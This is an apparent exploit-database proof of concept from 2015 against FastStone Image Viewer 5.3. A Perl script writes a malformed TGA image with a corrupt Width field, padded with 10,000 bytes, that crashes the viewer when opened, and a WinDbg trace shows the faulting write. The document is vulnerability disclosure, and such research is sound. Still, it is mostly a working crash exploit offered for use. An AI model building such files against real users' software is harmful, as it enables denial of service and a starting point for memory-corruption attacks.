# Exploit Title         : FastStoneImage Viewer (Corrupted tga) IMAGESPECIFICATION.Width Crash POC
# Product               : FastStoneImage Viewer
# Date                  : 25.02.2015
# Exploit Author        : ITDefensor Vulnerability Research Team http://itdefensor.ru/
# Software Link         : http://www.faststone.org/FSViewerDownload.htm
# Vulnerable version    : 5.3 (Latest at the moment) and probably previous versions
# Vendor Homepage       : http://www.faststone.org/
# Tested on             : FastStoneImage Viewer 5.3 installed on Windows 7 x64, Windows Server 2008
# CVE                   : unknown at the moment
#============================================================================================
# Open created POC file (poc.tga) with FastStoneImage Viewer
# Details
#*** ERROR: Module load completed but symbols could not be loaded for image00000000`00400000
#image00000000_00400000+0x9357:
#00409357 893a            mov     dword ptr [edx],edi  ds:002b:00e00880=????????
#0:000:x86> kb
#ChildEBP RetAddr  Args to Child
#WARNING: Stack unwind information not available. Following frames may be wrong.
#0018f688 004ff000 0018f6b4 00404619 0018f6ac image00000000_00400000+0x9357
#0018f6ac 00425374 0018f6c0 0042537e 0018f6d8 image00000000_00400000+0xff000
#0018f6d8 004255a2 0018f72c 0018f6f0 004256bb image00000000_00400000+0x25374
#0018f72c 004257ee 0018f784 00425822 0018f758 image00000000_00400000+0x255a2
#============================================================================================
#!/usr/bin/perl -w

	$tga_id = "tga poc example" ;

	$tga_header =		"\xf" .				#	IDLength
						"\x00" .			#	ColorMapType
						"\xa" ;				#	ImageType

	$tga_cms_spec =		"\x00\x00" .		#	FirstIndexEntry
						"\x00\x00" .		#	ColorMapLength
						"\x00" ;			#	ColorMapEntrySize

	$tga_image_spec =	"\x00\x00" .		#	XOrigin
						"\x00\x00" .		#	YOrigin
						"\x00\xa0" .		#	Width		<--- ! Incorrect field, leads to application crash
						"\x80\x00" .		#	Height
						"\x10" .			#	PixelDepth
						"\x1" ;				#	ImageDescriptor

	$tga_file_header = $tga_header . $tga_cms_spec . $tga_image_spec . $tga_id ;
	$tga = $tga_file_header . "a" x 10000 ;

	open FILE, ">poc.tga"	or die("Can't open poc.tga\n") ;
	binmode(FILE) ;
	print FILE $tga ;
	close FILE ;